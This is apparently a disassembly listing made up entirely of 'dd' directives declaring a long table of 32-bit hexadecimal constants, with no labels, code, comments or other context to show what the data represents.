		dd 0EE88E8A5h, 920BD61h, 0F041F9A6h, 1828FF68h,	0B448EBBFh
		dd 1FD39A04h, 0B2DCC0F9h, 50BF858Dh, 83A70353h,	2E492505h
		dd 0DEA5D388h, 0D487294Eh, 5A6CDA60h, 0E749C19Bh, 0F8EDDF82h
		dd 5E333898h, 0F50906h,	0DF8A4721h, 0E7F60CC9h,	0ED9AFC01h
		dd 0DBBDB91Dh, 0E4045080h, 72B15787h, 0BCA13B63h, 0A565F8F4h
		dd 0DEFA07D3h, 46FB039Dh, 7A0021B6h, 624DBECh, 3FC8B0Eh
		dd 5FE57483h, 0B0042A29h, 0C261969Fh, 25EF8700h, 9C4FD9C3h
		dd 88DA3080h, 8977012Ah, 4DE97A7h, 53588018h, 7C0D4A99h
		dd 79C90227h, 8F6974F4h, 0BEF61DC0h, 0FCD15900h, 522773F5h
		dd 6CC30A2Bh, 7320DFF3h, 0C66E9C9h, 0CE4C00A3h,	0D29A2D99h
		dd 2103409Fh, 0DFE1D4DCh, 278088C6h, 997630BDh,	0D6FC9298h
		dd 5ED3EC03h, 18FE9CD1h, 0E0B12A79h, 0EE88A041h, 0CC02092Fh
		dd 0D8D1DC31h, 8C25803Ch, 13D32351h, 82B32B8Eh,	272D101Ch
		dd 0A1CC48A2h, 0FFD00B6h, 9983A01h, 109DEAF1h, 0A344ECh
		dd 839B7F6h, 3F06CF4h, 0A4054218h, 2B86C521h, 1E4CA57h
		dd 0A564DBF9h, 88CA18EBh, 0DC02F159h, 0B7EDA9A0h, 8040765Fh
		dd 0E403CECDh, 2F68A9Bh, 0A97A13Ch, 0F0313285h,	4F30435Eh
		dd 31372890h, 0B03AE5A0h, 672B4B70h, 42101CF4h,	0C86AD427h
		dd 0E875E402h, 49D13930h, 5603046Ch, 448537E3h,	3709860h
		dd 0A03E0135h, 0E231A608h, 0D805B5CDh, 16CA95Dh, 990BC213h
		dd 685BFB8Eh, 23D63DC8h, 3001E9D2h, 4C24C00Dh, 2AF378E0h
		dd 71C43A73h, 0EFD909E6h, 0D403FCC8h, 0C1B65D68h, 0D8A30200h
		dd 0CC5FC977h, 0F6A53E2Ch, 23846FBDh, 9EC6CBF3h, 7157C45Ch
		dd 21C14560h, 0B52E01F1h, 0B1838057h, 6329D036h, 302806E7h
		dd 843D75BAh, 0E5B79700h, 0C135C01Ch, 0C1AB7E5Ch, 8886EB68h
		dd 0AC403E04h, 0F419B532h, 3ECA06BDh, 85AD518h,	212F6Eh
		dd 70F119CDh, 2C354CC4h, 25470BFCh, 0B250BE1h, 6A9D383h
		dd 250D4096h, 903B9372h, 442F085h, 0D59840DFh, 0ADB788D3h
		dd 17FE806h, 6285A61h, 0F1911D89h, 0E12D8DAh, 6841A935h
		dd 23A7C784h, 3471CBE4h, 0EB302C4Bh, 16D2488Ch,	0E2A2BE34h
		dd 0E5C80030h, 0CB3652EEh, 10279FA6h, 0BE5DF3BDh, 1450403Ch
		dd 4C2FF0h, 0B483F63Ah,	193E6853h, 8585B9Bh, 982180A7h
		dd 8A37836Eh, 221A07C4h, 616AF192h, 0E8CB0AA7h,	0C8272361h
		dd 8754E880h, 0C029699Ah, 0B05418D7h, 0D8C91253h, 40C473F5h
		dd 3EED20E0h, 0F03AFC01h, 0C6234A9Bh, 85042840h, 2013419Eh
		dd 5B0524DCh, 50D1557Ch, 0A153A044h, 0D002E684h, 0A00379BDh
		dd 9B993794h, 86E88054h, 803C8B49h, 0BDF719BEh,	38448C42h
		dd 19B60015h, 0B2BB56C8h, 3C004703h, 0CD851F40h, 6944D131h
		dd 0BC8458E7h, 0A0F3C65Dh, 5CA1C7E6h, 2845FC86h, 5C1484A5h
		dd 1F323C0h, 53B383F7h,	88C218F0h, 83006F99h, 73E8EDDDh
		dd 300931D9h, 7969F668h, 9301EA54h, 5A374A1Bh, 94E09F08h
		dd 0AAEF008Dh, 8C32AEF7h, 0CA29D2C7h, 980080A0h, 2030F131h
		dd 69C9602Eh, 469F5015h, 6DFB7100h, 6F4C60EAh, 7EA007DDh
		dd 2998132Ah, 0A73011DDh, 26956820h, 4F585CB7h,	0D8D9B643h
		dd 0C0A6202Bh, 585D14h,	2D9AC342h, 499E39h, 0CA8A69B6h
		dd 0B2D34350h, 0A1A1F90h, 0A14496A1h, 36955D88h, 8870CE04h
		dd 0BAB7C0B4h, 17294CF5h, 4384C4F8h, 9089A5D5h,	1EA025C8h
		dd 17A47B76h, 83B0606Dh, 523F8DFh, 58B50070h, 8909505Bh
		dd 6A859C1Fh, 638D8B40h, 0F1BD775Ah, 0C691FCh, 0F944B1A3h
		dd 5940AEC2h, 0DE38EDE4h, 0D018E017h, 395854BAh, 70BA6721h
		dd 0A8594CB0h, 0B0019C3Bh, 5C3F3DC6h, 89895C9h,	830321B2h
		dd 0AC489C00h, 0FED0E1BCh
		dd 0E6640605h, 685B96C2h, 0C8C11218h, 62BA81h, 79B7CE1Bh
		dd 489A96EFh, 0FE61B380h, 97320341h, 0A264CE8Eh, 9253181Dh
		dd 0F04821DBh, 1DFB39DAh, 0CCE77305h, 9E182E91h, 95DCC600h
		dd 4B7862FFh, 29E00708h, 0C2C29170h, 0E1036C02h, 48B00244h
		dd 9D5CCCF6h, 596939C0h, 877ED800h, 0A6E7B24Dh,	0CD1009Fh
		dd 72D2830Eh, 5070E19Ah, 0DD32F90Ch, 130704Ah, 0EE782AFDh
		dd 53BDFB48h, 0B06F6884h, 43F80060h, 3C515434h,	0DB98E9D8h
		dd 0B15B1853h, 0E53065EEh, 0E4C4589Dh, 0A087F906h, 1C97D2C5h
		dd 530CE518h, 5140B07Fh, 8CB709BBh, 0DB80C29Ch,	0AC9FDA54h
		dd 21C0B5E8h, 0EC8FAF1Ch, 0CEF51DA2h, 0DC1F91h,	0C655C708h
		dd 7F60C2D2h, 461E9858h, 3ABD3D39h, 7EAC9E2Ah, 0CA280093h
		dd 8B637B35h, 0D8077D09h, 0DC8A655Ch, 50F0EF91h, 5BD0C44Dh
		dd 54E02AAFh, 74F81CA8h, 77D1811Fh, 0DFD94C7Ch,	215E0831h
		dd 32E40C97h, 25D4011Dh, 46F259CAh, 519C5045h, 6E036FA3h
		dd 0BD83BA94h, 5E2BA161h, 65C48858h, 2FE4D069h,	0B4238Ch
		dd 0EDF8EB19h, 0C0029142h, 24DEEED8h, 59D88349h, 0F7890043h
		dd 12B0060Eh, 0FA1481C2h, 2DCCF276h, 2AEFF4D3h,	2CD80160h
		dd 0E64F3370h, 73E18F6Dh, 0E01DEF9Fh, 42D4D021h, 0D727ADCh
		dd 0B32A9158h, 0E00A6038h, 0C2E2AA05h, 0A401147Dh, 0B494DEE9h
		dd 9F97424h, 5860C6ECh,	0F202D411h, 0B8736202h,	9D952D8h
		dd 0FB23BE53h, 600DD804h, 23B79C9Eh, 0BC1185C6h, 9C860E05h
		dd 89EC0836h, 25C432C0h, 0A0BCA6FAh, 91E40EA0h,	46C020ACh
		dd 8CC90179h, 0ACA7C29Eh, 1A88B10Ch, 238F30A1h,	41D9787Ah
		dd 0ECC419C1h, 588E8EFEh, 8DCCD2C1h, 0ED102470h, 0C9014286h
		dd 72F9CB0h, 0FC85887h,	0B953200h, 0C3573073h, 4B7D14FBh
		dd 0C781E4E3h, 0BC6346EAh, 662A9B50h, 0A75A739h, 0E0819462h
		dd 0ACADC6D9h, 0A836F394h, 4A62AA00h, 7D2FF456h, 0C034C94Ch
		dd 906BD968h, 6EB24BEh,	0C50801ECh, 41F7F614h, 74466Ch
		dd 262AE77Bh, 4F64B141h, 7A340CA3h, 3313F9E1h, 549D2990h
		dd 0B618B271h, 7A719D13h, 0B8395404h, 414FB105h, 70D508B8h
		dd 4CD94042h, 6200B6E7h, 0D9F64EF8h, 3BEFDCA3h,	7A80826Ch
		dd 0ED3166D8h, 4549E6E5h, 20FA0070h, 9BF591EFh,	2E7A41h
		dd 6BC0B029h, 25D51615h, 0D62CCEF4h, 816E3458h,	5C638749h
		dd 39707C34h, 0F9011777h, 0D15FF475h, 8A08980Dh, 1F7F9F21h
		dd 560CDA17h, 904C37EAh, 215B09C4h, 20ED7824h, 26F4C240h
		dd 0C620848Ah, 7840986Eh, 3BA024E0h, 62946198h,	86698063h
		dd 2F8F2389h, 4E42008Ah, 17A1495h, 300527F6h, 605F47FFh
		dd 0E53EE404h, 0D8B84B09h, 2987496Ah, 18B2718Ch, 0DC0D0012h
		dd 0E74EB353h, 4767C28Ah, 5F544BB0h, 9E38AE41h,	33103078h
		dd 0EDD19501h, 0AB24CEECh, 0B6101432h, 2A380BBCh, 0A04B0D0Dh
		dd 952E620h, 5AED4EBEh,	0E0A4882Ah, 663CDB86h, 1AE33B00h
		dd 609B2207h, 5B2E2493h, 0C8E1649Ch, 6A00A774h,	0D0040673h
		dd 1948830h, 0D12C08AAh, 2AD10CEh, 0F7066E5h, 4CF981Bh
		dd 232C3EB7h, 125D0BBDh, 1E761482h, 5AFE7882h, 311DA444h
		dd 14000D8Fh, 78678C92h, 0DF4B0D48h, 0F4484923h, 102607CEh
		dd 30036CEEh, 2650E487h, 8E34AAA8h, 798A8851h, 0CEDE80B8h
		dd 0AE7D75A3h, 0C6B25007h, 2432D14Eh, 1B6C447Bh, 0D069904Bh
		dd 0ED394060h, 1219BC92h, 6837F97h, 205AD6E1h, 0B226DDF4h
		dd 6A42A888h, 48EE46h, 6D53ADBh, 12F5BA59h, 0B9CDE4C1h
		dd 0E170905Ah, 0C8DE026Ch, 61AD5B67h, 6E794840h, 6CF64881h
		dd 693E6F7Ch, 1978DD86h, 69C06FF0h, 0AD9E603h, 0DAF930CFh
		dd 32534212h, 0ECBCFD2Ch, 7260A144h, 0D123761Fh, 1E451107h
		dd 49420A99h, 0A06F6227h, 7CD0C584h, 2BC700E7h,	7D471ED1h
		dd 7603C073h, 2FE927Ah,	40DEE055h, 0E7A8A0A7h, 85D60089h
		dd 77C6E038h, 72308ADFh, 0EE5890B2h, 0D0CF4878h, 5BD87630h
		dd 8831B6CCh, 8D61380Ch, 0AC04C054h, 0C5074956h, 0F474EFDAh
		dd 742C1F7Dh, 214C580h,	24D8405Eh, 607FA0B0h, 960820A7h
		dd 11F0CA2Dh, 8CB38073h, 43D7C238h, 0E04E22ADh,	0A8C00CBh
		dd 62C4B014h, 0C0DD7D29h, 946155h, 6FF08ABh, 1E11E7A9h
		dd 0AC4E7B2Ch, 7F720095h, 19C4BE6Dh, 8ED0E005h,	0DC2AB9h
		dd 7E152422h, 19608140h, 413C3953h, 0DE1CBE0h, 10681FFCh
		dd 0B17FD7D1h, 0B7E47093h, 0E5220937h, 78945EBEh, 0F85E20F9h
		dd 7A10B49Ah, 0B85C9AA1h, 8C0B1FCBh, 3CF4308Ah,	0A1846382h
		dd 0D86CD57Bh, 226D9E25h, 8F80F374h, 0F20C84B0h, 5983C490h
		dd 725341CFh, 304FF280h, 0F430C6A7h, 0D9706936h, 375A138Dh
		dd 92E600C7h, 40442B01h, 2CB37E3Bh, 0E7029969h,	80B7DEFAh
		dd 0AE8A5BACh, 5CD0377Bh, 512B2259h, 0F1263058h, 7B0630E8h
		dd 215EEFh, 6C0C9A92h, 55D1DF24h, 0CD63410Ah, 0ECA6B049h
		dd 4C19C701h, 0FC505143h, 17F80D1h, 0D767640Fh,	2C460696h
		dd 0CA98411Ch, 7E118028h, 9F8CB680h, 0AC4BAFC2h, 1D0028h
		dd 0F37B8FAEh, 16AAD040h, 0EF70FC00h, 7ACCB753h, 0B88350E6h
		dd 8AA0C85Bh, 0DCD6EF9Eh, 2F3E8409h, 0AB135EB8h, 755A2831h
		dd 0E2FA8000h, 0D8788E4Ch, 4036C220h, 60B00B5Eh, 7A43BA20h
		dd 0F4F081h, 0F367F2D6h, 8C6A7DE3h, 71605567h, 0FB831648h
		dd 60901Bh, 23C45891h, 849C7AC9h, 15F358A9h, 0E0AD7004h
		dd 6A1F7630h, 11E7D123h, 0E951E5Fh, 0F8E39F40h,	5520C8Fh
		dd 0A7C93A3Fh, 9310D85Ah, 646222h, 9C2F63E8h, 0FCE39B11h
		dd 3201091Dh, 0B474FD42h, 0BB90C060h, 9D04865Ch, 173DDA08h
		dd 2C50A8E3h, 6B9429Eh,	3F392AE6h, 5F302410h, 27988108h
		dd 9E761E85h, 0CA06630h, 0BC2136EDh, 3D108748h,	0B97641BDh
		dd 18B0D134h, 28F11802h, 32E48834h, 69B5ED31h, 0E01420DEh
		dd 8881470Ch, 0EBFE7470h, 8679EF08h, 662080BAh,	20089056h
		dd 0B037C15h, 0C9049363h, 41F682DCh, 0EC48E094h, 35DF00A1h
		dd 1E7F9541h, 26166163h, 56007653h, 3158FCE6h, 0B047582Dh
		dd 1C468989h, 75177104h, 766205F9h, 17799120h, 0B5DE0062h
		dd 367E0B2Ah, 652E9FD7h, 0F35E3866h, 441D2918h,	0C74257A2h
		dd 0E9868D7Ah, 0F86068FCh, 49D320E3h, 0CE4CC61Bh, 3D30C308h
		dd 80D3D8E9h, 318A383Fh, 43B0B465h, 0F6AC2480h,	60BB0388h
		dd 0FC0179D3h, 0A459A0A3h, 0C718DC90h, 0A4C8EE49h, 53052898h
		dd 5EC448F9h, 13C08450h, 58024B2Fh, 68A88BFDh, 0C964DF60h
		dd 14C566E1h, 0F267BDC4h, 7840BC08h, 0ECA98F70h, 0D946106Fh
		dd 0AEC9003Fh, 9EE18B29h, 7B60598Ch, 89513741h,	9F1100EFh
		dd 552946CAh, 4C0083BFh, 2838DA1Fh, 1899759Eh, 0E9B3B93Dh
		dd 0CC9CA931h, 55C16306h, 98320269h, 0B04EF7D3h, 0D0E19C48h
		dd 47144AF0h, 92AC9253h, 5E23103Ah, 22471500h, 0E287E777h
		dd 0F0C461DBh, 2459160Ah, 4A7EEA74h, 7B84F494h,	885441ECh
		dd 5FCE263Bh, 7A598830h, 6CBEDB80h, 4363876h, 24F7B327h
		dd 48D2C1EBh, 0D0DC48C8h, 7D4BF404h, 288857E7h,	809382h
		dd 0F978176Ah, 4486F5DDh, 7200BA77h, 35C3BE17h,	312CE8FCh
		dd 0E1A82556h, 17E98152h, 7387D60Dh, 0C04158C4h, 55EFF3A1h
		dd 0C101535Dh, 0EE9291D5h, 7420B375h, 86E414C2h, 844C6C6Fh
		dd 49189872h, 691940B6h, 58AEB079h, 1F0475B8h, 7C0FD177h
		dd 96235D32h, 469C80Dh
		dd 3CFE0CEh, 0DAA4E860h, 24EF4297h, 3250098Eh, 4A8199Ch
		dd 78709D8h, 0C6FD3BE0h, 44B6B325h, 98DEE988h, 0DF301963h
		dd 0DD4BE151h, 38A42A21h, 3F960860h, 0DC29E103h, 0CE21E07Ch
		dd 283FB84Fh, 8098409Eh, 847532F4h, 586B664Bh, 4866D1Dh
		dd 0A0D6DCC2h, 32147628h, 25AC22C4h, 0C334A063h, 1F9F42CFh
		dd 418D1DE2h, 7B6593CBh, 8028B2B6h, 4F46C38h, 0C2818CC8h
		dd 20B4629Fh, 0E58FA01Bh, 191FF40Fh, 63AAC732h,	1C9148ACh
		dd 28312F6Ch, 0C4DA02D8h, 74DCCABFh, 7DA1E848h,	3DE462E3h
		dd 212F0229h, 7AC54B9Ch, 6BDC1E60h, 0C6DE4948h,	8B6380A0h
		dd 7FB8CAA1h, 118CF55Dh, 607FB6CBh, 0DA40E96Eh,	0E23D5F62h
		dd 0B6B20085h, 1AE4540Bh, 5C2602A0h, 5BD77B75h,	7C04F32Eh
		dd 0E8818ADAh, 0F9F08BEFh, 2145604Eh, 2777E7DDh, 44976B06h
		dd 739005F8h, 406C2DD1h, 7084A409h, 0C34B054Ch,	0C07C4414h
		dd 0F50C315Fh, 52E81D88h, 392902C0h, 0A4C1A09Bh, 277432DCh
		dd 0B338937Bh, 6A1BC868h, 169092BEh, 215EEAF4h,	870890h
		dd 0DD4EE548h, 6388C669h, 0BF008160h, 0DD2CCDFBh, 7FBEB603h
		dd 81501A8h, 63C26AC0h,	3C298B62h, 4C9E8037h, 1769BDEh
		dd 35D2D8BCh, 4DD378C6h, 54D44294h, 5A9E4060h, 795E44A0h
		dd 0E61F849Eh, 688E4ECh, 0D29209F5h, 13F3080Fh,	23B43A34h
		dd 0AF700074h, 0BD829308h, 28AE3402h, 69EACD51h, 9848B1E0h
		dd 63431FE8h, 67C68FA7h, 0D2BC07D2h, 2418DB6Eh,	1096D67Bh
		dd 0EB4ADC41h, 8247E101h, 40947BE9h, 857DC0B9h,	187000BFh
		dd 97844F26h, 2904D54Bh, 0B9325054h, 4D860E0h, 1AE18589h
		dd 503A12B4h, 85015E23h, 3B0459B2h, 0DB6FDCh, 0D5A3A6CEh
		dd 0DA7A19C4h, 0AC4A8B0Bh, 0C0698B7Ch, 2EDC3970h, 80982214h
		dd 0DF422548h, 0B4BA928Ah, 88EF5800h, 13C48738h, 43073091h
		dd 68DED170h, 38F8BE59h, 0C0F3BA2Ah, 71B4038Fh,	0B6BA96D7h
		dd 0F4C22051h, 9053AF0Bh, 8E7D8420h, 5E65EE60h,	2996CD13h
		dd 40C8F08Eh, 0B110EEC7h, 0AECDE19h, 0D28AE49Bh, 0AED183F8h
		dd 80064FC6h, 0B4CEC23Bh, 4180FD18h, 61219DD8h,	3D2E6360h
		dd 0D20870BBh, 0E0E6711Dh, 4C942FB2h, 45A0E8Bh,	6C82A034h
		dd 246058EBh, 8FB0D80Bh, 7EAB48D0h, 10441CC0h, 806FD207h
		dd 0C47AD6FAh, 2BF5424h, 7AF70460h, 2140BC88h, 5308B6EAh
		dd 8898A5A8h, 0C6200A58h, 184700F5h, 1C766EEh, 9C2EDCC9h
		dd 8F40FCE8h, 9C64C2E2h, 0C2321F38h, 452541ABh,	0BD2A9482h
		dd 0CA786332h, 4B7D02B3h, 42A1CF21h, 241347CCh,	0A504FCC1h
		dd 0B04524ABh, 0A76076E4h, 46052977h, 0A55CBD4Dh, 4480A4C0h
		dd 32E40C56h, 0E9985DD1h, 0A6C13618h, 3A8AD070h, 48CE2717h
		dd 0CF93BC10h, 42CC2C98h, 64CE0B40h, 0B3E022BDh, 0D5490141h
		dd 74446CDAh, 651848B0h, 89488644h, 0CD10F97Eh,	71825AC2h
		dd 18407968h, 0DE101AFh, 0DEEA8B7Eh, 0D05875E7h, 2A648532h
		dd 0E8F288E0h, 0F830B5F2h, 0C7FE0011h, 0C447BD10h, 8A5D7D7Ah
		dd 0C817218h, 9C0B9F18h, 0E59DC6B4h, 870F8030h,	0E3FC229Ch
		dd 266B590Dh, 0B8689849h, 0ECF0880h, 82017919h,	0B2C31009h
		dd 0E032A558h, 75018523h, 65F97917h, 9D800023h,	0B58A177Dh
		dd 0B6AAF000h, 923384A8h, 589E0FDFh, 8073E931h,	0CE8E815Ch
		dd 0A27B8C25h, 927635Ch, 3FC030EDh, 0C06D62DFh,	28351E89h
		dd 600073F4h, 0C436E4F0h, 0CE661h, 88632C05h, 0C7AE16D0h
		dd 4674F89Ch, 93E0005Dh, 2B6E1997h, 2DDE12FBh, 0FF74038Eh
		dd 0E048B40Bh, 0C927E04h, 6CD18499h, 592A3B18h,	9403E4BFh
		dd 6B20D63Eh, 72C9B8FDh, 3A5E004Fh, 38C1951Fh, 5B386512h
		dd 24F7A50Ah, 14980BA8h, 0C99C0880h, 0B4C495C6h, 9C880840h
		dd 18507356h, 0D1013A91h, 0C2C439CEh, 0C8696216h, 0F88013h
		dd 0C8BBC740h, 60965E14h, 85513809h, 90C84ECDh,	0D95B4099h
		dd 0E67E8A00h, 0C2F8E523h, 0F4BB5186h, 27968F0h, 62E4C30Fh
		dd 0EC4453C4h, 19F8C613h, 5605A023h, 4BF0D431h,	0C5FA2628h
		dd 49DA3302h, 9D0B99A3h, 896D11C8h, 0C2C80189h,	8105633Eh
		dd 29F87E34h, 86F51370h, 80E2E029h, 6B7E846Ch, 91624A3h
		dd 43A61678h, 0F4C43898h, 3454E8BAh, 148DE688h,	9722807Ah
		dd 58A04B7Eh, 1F07CEDAh, 32387C4Dh, 0F97D5E7Ch,	0C54B4851h
		dd 5C85D2Eh, 7466EE4h, 9F73FE30h, 86DD2A81h, 18EC725Ch
		dd 0C41870BAh, 58796126h, 182D7122h, 0CAC5154Fh, 819C7463h
		dd 0E6692461h, 0B0F18051h, 6CBA1FA1h, 0AFA32E2Eh, 0A9B40924h
		dd 0C1A1880Fh, 9970C562h, 45E87248h, 0C05F2816h, 9DA0F409h
		dd 80B11178h, 70B90E99h, 0EF421F2Dh, 20921283h,	52D2693Ch
		dd 3F2444B0h, 1EF42C59h, 196CAEC8h, 0B3B0B06Ah,	59E8C8D9h
		dd 81E88468h, 3C1A9C01h, 4136F13Ah, 0F8D4102Eh,	0EE692F01h
		dd 4F5CA179h, 682F5BF4h, 6F00B123h, 6378F1C7h, 2050B8F0h
		dd 38A1479Ah, 6F0D1151h, 4870C6E8h, 0B484CCB6h,	0C84B05BCh
		dd 570E1402h, 792C7188h, 0E4718B7h, 9C68325Eh, 0B5F241C1h
		dd 60DC5957h, 0C92F960h, 74D14C99h, 0CF00C218h,	0C3514A3Eh
		dd 98E695ACh, 21824548h, 841D13Ch, 38E1C5A7h, 8DEC817Bh
		dd 0AE2107BAh, 28B9A5A6h, 3ED16E1Eh, 0A758BFA4h, 0B0918097h
		dd 6FD79Ch, 4B688EACh, 0C4963790h, 807A64h, 0F0D615B7h
		dd 0D40D4865h, 3012258Fh, 47099800h, 3098EE7Ah,	0B1D99E63h
		dd 0C4490042h, 5D08E252h, 0C944DD8h, 7D048B1Fh,	0F8C14189h
		dd 8048B470h, 64BA484Eh, 30E1CA84h, 106B1F79h, 0B17FEFD1h
		dd 0DDE47192h, 696B00D6h, 12E189DFh, 0CA16A5D9h, 5CC39ADCh
		dd 8BFAC862h, 82894BF5h, 680AFB78h, 90518609h, 805EF25Ch
		dd 0DDFC19CDh, 2E9CAC55h, 0BD23602Fh, 0F473410Ah, 45A9C809h
		dd 0B5DD883Ch, 2C2C783h, 62883F7Bh, 0D48024Ah, 0C0764E84h
		dd 0C46E7F87h, 0B5A08810h, 82922566h, 0E6743414h, 0AC313281h
		dd 11DE9479h, 4CB01899h, 272C59h, 0B71108F6h, 180E2895h
		dd 67CAC900h, 0C748C547h, 176C927Dh, 0C2D69D79h, 0D0C03B30h
		dd 0C980F9C3h, 0EDB603A0h, 0F8629DB7h, 4564C150h, 60B12E40h
		dd 0E6E17149h, 0BC98EAF0h, 38A36492h, 38863580h, 5867ED7Ch
		dd 0DA59919h, 0B88820F0h, 5F67D78h, 2A8ADEE9h, 21F0F2BDh
		dd 46C20412h, 78A0186Dh, 0E00482F6h, 9C9A6071h,	25C625B3h
		dd 20E6416h, 6E9C82h, 29AB6781h, 85622A42h, 68CB3184h
		dd 72AE6BA8h, 3E8323B8h, 0F97B1782h, 0C74F5D5h,	0F73BB50h
		dd 52227C17h, 0AF50C6C2h, 637BA000h, 0C2E2095Bh, 0EC50BD90h
		dd 33B02000h, 8AF90B42h, 78BB4556h, 92069F30h, 19182B4Eh
		dd 0F0619FD7h, 99D180Eh, 0CDC6B29Ch, 0D60A0D9h,	39799C85h
		dd 0EC0419C7h, 0B8625FB6h, 89A11154h, 9C46CD13h, 14835EE0h
		dd 0C82C9238h, 0B085B26h, 0FCE84EBEh, 0F0BCF022h, 739CFC04h
		dd 817724F7h, 11204E93h, 3A96FD15h, 8C79A8h, 1BA82D8h
		dd 47D14F61h, 0C4E49C03h, 0B83457Ah, 66E55CE0h,	1B7BD860h
		dd 89E4F000h, 8AD17580h, 1709A26h, 6EBCED2Bh, 2FE1DF4Bh
		dd 77B0C821h, 716202C2h, 6CC20B04h, 88E4A5F3h, 0E090A4F2h
		dd 6D8DDF82h, 0C606474h, 27880830h, 0F866C22Fh,	0E0D09B97h
		dd 5301C421h, 1A4B2CC9h, 3C22B0D4h, 0E028F9E6h,	44AE2208h
		dd 0E7949851h, 7410536Fh, 0BA745018h, 9830A089h, 0DC00FB8Eh
		dd 0EF0CB91Fh, 50B03696h
		dd 0C8C85C63h, 88DB4B85h, 764FAFD4h, 58040835h,	0F502B7AEh
		dd 905C5158h, 6A18F776h, 0DFA2BE00h, 0F2A1A6CAh, 0EEAC1D71h
		dd 634283CCh, 910EFCCFh, 6116E138h, 0DEECC493h,	6900092Fh
		dd 638944E5h, 101064FBh, 844014CEh, 1B00BA72h, 81029AABh
		dd 1CBB6228h, 0C054CC26h, 67126864h, 40F084D0h,	37C09861h
		dd 0F9B8A192h, 0C5EAC711h, 79046582h, 48592D88h, 80BC2Ch
		dd 9E2F1A03h, 0FA4EF422h, 3C90E8E2h, 7DDBAD44h,	0DEEE1358h
		dd 0D1A44F3Ch, 0FC9AC961h, 0B0027ABh, 683FD57Bh, 415AE458h
		dd 2FD2F151h, 6C980840h, 98EBBFCFh, 2BCD10BCh, 8D5B8844h
		dd 0F2D9EF7Bh, 0F2B900C1h, 6DD1E871h, 6F052018h, 870ADD41h
		dd 4D388444h, 2EC9B000h, 355A5F17h, 0C4395CD0h,	0D8566213h
		dd 0E92FB11Ah, 9090D36Eh, 9BEF04B2h, 0E4ACFD29h, 52D2C105h
		dd 0F418916Eh, 4B00C2BBh, 4EC87707h, 0B0D498CCh, 204E2881h
		dd 9E058A11h, 6352DA9Ch, 0B2C8988Eh, 0C0E675C3h, 3F64631Ah
		dd 45A0958Ch, 8D9C8C5h,	7C45C413h, 341D61EAh, 0BA58A027h
		dd 0AF412Ah, 0B7D38BDCh, 0AD63D52h, 0C92B3F0Bh,	4A5301CDh
		dd 0B042CF98h, 80E076E6h, 165F639Bh, 28006BD2h,	1B060205h
		dd 0EC515E7Bh, 52CA0164h, 0D6D2C6C9h, 7A78816Ch, 29A93253h
		dd 8878E829h, 0DEEA89DDh, 0E414AB9Dh, 1B070080h, 38253449h
		dd 1D0F1F0Eh, 0E23D54AFh, 48D8DED1h, 5B8AE760h,	8F8251Ah
		dd 0E9C0862Ch, 633B724h, 2B6085E4h, 0BE0008D4h,	0EC5C618Fh
		dd 1ECE24E1h, 1F671EB9h, 118A00AAh, 644AA680h, 0E2901400h
		dd 0DA498B2Eh, 0E110C074h, 61FA6C3Dh, 0E0AAC61Fh, 0C038605Bh
		dd 153037Ch, 0B3F6E5BAh, 98EEDD65h, 9D217008h, 0B85200FBh
		dd 0CB8835C2h, 1B00105Ch, 0D72FEA32h, 6B24883h,	92AF61F9h
		dd 0AA76A093h, 61FBC00h, 0AE80BD19h, 8A56610h, 0D20E21ABh
		dd 80511FB4h, 0DD112F60h, 0E2340617h, 7964E19Eh, 522BAE0Eh
		dd 0AFF6416Ch, 0C88FACBBh, 84B544B6h, 24ECCA01h, 58FC33BAh
		dd 0EF88C194h, 93240EE4h, 0E720C9EEh, 45765567h, 6B62B0C1h
		dd 1810962Ah, 0D401CDF6h, 0F8156878h, 9C407D09h, 2AE1EA91h
		dd 0F1ACBE47h, 55638440h, 12B51881h, 9EAA488Fh,	0B967E237h
		dd 953783h, 4C5A4E59h, 19E4C6FFh, 48B17836h, 77E52230h
		dd 35316771h, 5F1A986Fh, 8156AC41h, 465A8107h, 33D180BDh
		dd 9382522Dh, 0E1EE3E97h, 644DB080h, 65621D35h,	0E7B118C0h
		dd 0CA79C93Fh, 38D8DF50h, 40647812h, 6DBA8114h,	0D006EAEEh
		dd 0A0E293CEh, 21796008h, 986DB2A7h, 0E5AC3E03h, 694AA1h
		dd 7134C8A9h, 24CDDAECh, 3680D3Ch, 605B8366h, 4B150F9h
		dd 0BA0F8CADh, 7019041Fh, 0C351D0E0h, 0CC9CDE01h, 0EC6F7DD7h
		dd 380FFBC4h, 2600286h,	95FF48B5h, 0A520553Fh, 0CA05507h
		dd 0ED4B762Eh, 0FC73061Dh, 129D83FFh, 9B0FC085h, 8927032Fh
		dd 0E91ECDBDh, 70723C22h, 0E857186Ah, 5F201103h, 892DC372h
		dd 2F917F7Ch, 4721801Ch, 8434C357h, 6B3E242Bh, 0DF890EFEh
		dd 9B6D8546h, 500F603Dh, 0D1058029h, 0B5FF61A4h, 95C6111Fh
		dd 0D8C2665h, 2B81BD8Bh, 5DE08D0Ch, 0EC99190Ch,	1009B118h
		dd 0B8FF430Dh, 28AF7EABh, 82747142h, 3E9A0811h,	0D68B6601h
		dd 4EA4106Ah, 894E3049h, 2F658DB5h, 8B08830Ch, 843C3121h
		dd 3D810822h, 8D0DEDCFh, 0E8BBC685h, 0F70574D1h, 4FE94B8Eh
		dd 6113A1Fh, 16C95E62h,	8A9C3A0Ch, 6155B504h, 89C8C35Dh
		dd 1A448C6Ch, 0C3550045h, 3AF40AC6h, 0F1183338h, 601F11E9h
		dd 825A0015h, 0B67AF512h, 18010226h, 0A3EDD65Fh, 0C08F7740h
		dd 5022C4F1h, 0C084BEB1h, 1435E69h, 512B98Dh, 0BF0F59A6h
		dd 61BF0DFBh, 5182E523h, 0DEFD8D69h, 23532B0Ah,	5A0E52D6h
		dd 548944C3h, 42201662h, 2984C352h, 80EB7999h, 588832DBh
		dd 4A385F5Ch, 0F892E45Bh, 1B662B98h, 721C47B9h,	70362DA8h
		dd 0FC0E7F64h, 0B43F2E94h, 79121423h, 0A0314A08h, 41594585h
		dd 50EA59Ch, 30F15605h,	22028562h, 4492CB8Ah, 9D090AB0h
		dd 7291917Ch, 46749F48h, 84E1001Bh, 1E77AA86h, 89E3056Ch
		dd 2229C19Dh, 0E827194Bh, 6710BACh, 5386AF4Fh, 852462F0h
		dd 5F81827Dh, 252D8D8Bh, 20104A46h, 0B60C2B71h,	4780685Dh
		dd 0DC46FB31h, 51033B2Bh, 1D2331D0h, 66B1089h, 4A5A63B0h
		dd 0B2BD9CC8h, 5B64E810h, 0F0FBF700h, 1A8D7A92h, 25B2633h
		dd 0D3B70379h, 27026859h, 85BD09C0h, 0B59EA21Ah, 59CC98E5h
